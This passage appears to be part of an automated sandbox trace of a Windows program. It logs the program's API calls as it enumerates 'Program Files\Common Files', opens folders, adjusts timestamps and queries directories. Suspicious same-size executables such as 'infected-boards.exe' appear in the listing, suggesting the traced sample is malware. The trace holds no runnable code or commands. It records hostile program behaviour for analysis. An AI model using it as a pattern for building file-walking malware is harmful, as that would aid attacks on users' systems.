"c:\\program files\\common files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x14c [0263.836] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x118f6bc, lpLastWriteTime=0x118f6bc) returned 0 [0263.836] DeviceIoControl (in: hDevice=0x14c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9500d8, nOutBufferSize=0x4000, lpBytesReturned=0x118f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9500d8, lpBytesReturned=0x118f714, lpOverlapped=0x0) returned 0 [0263.836] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9500d8) returned 1 [0263.836] NtClose (Handle=0x14c) returned 0x0 [0263.836] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8ee18) returned 1 [0263.836] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x548fc0 [0263.836] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff54690, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff54690, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.836] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0263.836] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33baff60, ftCreationTime.dwHighDateTime=0x1d5c182, ftLastAccessTime.dwLowDateTime=0x56d18220, ftLastAccessTime.dwHighDateTime=0x1d54de8, ftLastWriteTime.dwLowDateTime=0x56d18220, ftLastWriteTime.dwHighDateTime=0x1d54de8, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="filezilla.exe", cAlternateFileName="")) returned 1 [0263.836] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd36c210, ftCreationTime.dwHighDateTime=0x1d5ab08, ftLastAccessTime.dwLowDateTime=0xb2c530b0, ftLastAccessTime.dwHighDateTime=0x1d56f97, ftLastWriteTime.dwLowDateTime=0xb2c530b0, ftLastWriteTime.dwHighDateTime=0x1d56f97, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="infected-boards.exe", cAlternateFileName="")) returned 1 [0263.836] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb731b8a0, ftCreationTime.dwHighDateTime=0x1d5625c, ftLastAccessTime.dwLowDateTime=0x25710030, ftLastAccessTime.dwHighDateTime=0x1d5a2c4, ftLastWriteTime.dwLowDateTime=0x25710030, ftLastWriteTime.dwHighDateTime=0x1d5a2c4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="kindsbradwindsor.exe", cAlternateFileName="")) returned 1 [0263.837] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="")) returned 1 [0263.837] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0263.837] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="")) returned 1 [0263.837] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0263.837] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0263.837] GetLastError () returned 0x12 [0263.837] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\*", fInfoLevelId=0x1, lpFindFileData=0x118f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f4c4) returned 0x549000 [0263.837] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0263.837] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff54690, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff54690, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.837] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0263.837] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER" (normalized: "c:\\program files\\common files\\designer"), fInfoLevelId=0x0, lpFileInformation=0x118f3c0 | out: lpFileInformation=0x118f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0263.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER" (normalized: "c:\\program files\\common files\\designer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x14c [0263.838] SetFileTime (hFile=0x14c, lpCreationTime=0x0, lpLastAccessTime=0x118f404, lpLastWriteTime=0x118f404) returned 0 [0263.838] DeviceIoControl (in: hDevice=0x14c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9500d8, nOutBufferSize=0x4000, lpBytesReturned=0x118f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9500d8, lpBytesReturned=0x118f45c, lpOverlapped=0x0) returned 0 [0263.838] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9500d8) returned 1 [0263.838] NtClose (Handle=0x14c) returned 0x0 [0263.838] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x944fd8) returned 1 [0263.839] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x548fc0 [0263.839] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.839] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0263.839] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0263.839] GetLastError () returned 0x12 [0263.839] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x549040 [0263.839] FindClose (in: hFindFile=0x548fc0 | out: hFindFile=0x548fc0) returned 1 [0263.839] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.839] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0263.839] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0263.839] GetLastError () returned 0x12 [0263.839] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9450e8) returned 1 [0263.839] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0263.839] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945060) returned 1 [0263.839] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x944fd8) returned 1 [0263.839] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33baff60, ftCreationTime.dwHighDateTime=0x1d5c182, ftLastAccessTime.dwLowDateTime=0x56d18220, ftLastAccessTime.dwHighDateTime=0x1d54de8, ftLastWriteTime.dwLowDateTime=0x56d18220, ftLastWriteTime.dwHighDateTime=0x1d54de8, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="filezilla.exe", cAlternateFileName="")) returned 1 [0263.839] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd36c210, ftCreationTime.dwHighDateTime=0x1d5ab08, ftLastAccessTime.dwLowDateTime=0xb2c530b0, ftLastAccessTime.dwHighDateTime=0x1d56f97, ftLastWriteTime.dwLowDateTime=0xb2c530b0, ftLastWriteTime.dwHighDateTime=0x1d56f97, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="infected-boards.exe", cAlternateFileName="")) returned 1 [0263.840] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb731b8a0, ftCreationTime.dwHighDateTime=0x1d5625c, ftLastAccessTime.dwLowDateTime=0x25710030, ftLastAccessTime.dwHighDateTime=0x1d5a2c4, ftLastWriteTime.dwLowDateTime=0x25710030, ftLastWriteTime.dwHighDateTime=0x1d5a2c4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="kindsbradwindsor.exe", cAlternateFileName="")) returned 1 [0263.840] FindNextFileW (in: hFindFile=0x549000, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="")) returned 1 [0263.840] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared" (normalized: "c:\\program files\\common files\\microsoft shared"), fInfoLevelId=0x0, lpFileInformation=0x118f3c0 | out: lpFileInformation=0x118f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0263.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared" (normalized: "c:\\program files\\common files\\microsoft shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0263.840] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118f404, lpLastWriteTime=0x118f404) returned 0 [0263.840] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9500d8, nOutBufferSize=0x4000, lpBytesReturned=0x118f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9500d8, lpBytesReturned=0x118f45c, lpOverlapped=0x0) returned 0 [0263.840] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9500d8) returned 1 [0263.840] NtClose (Handle=0x18c) returned 0x0 [0263.840] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x944fd8) returned 1 [0263.840] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x549040 [0263.840] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.840] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0263.840] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0263.840] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="")) returned 1 [0263.841] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, 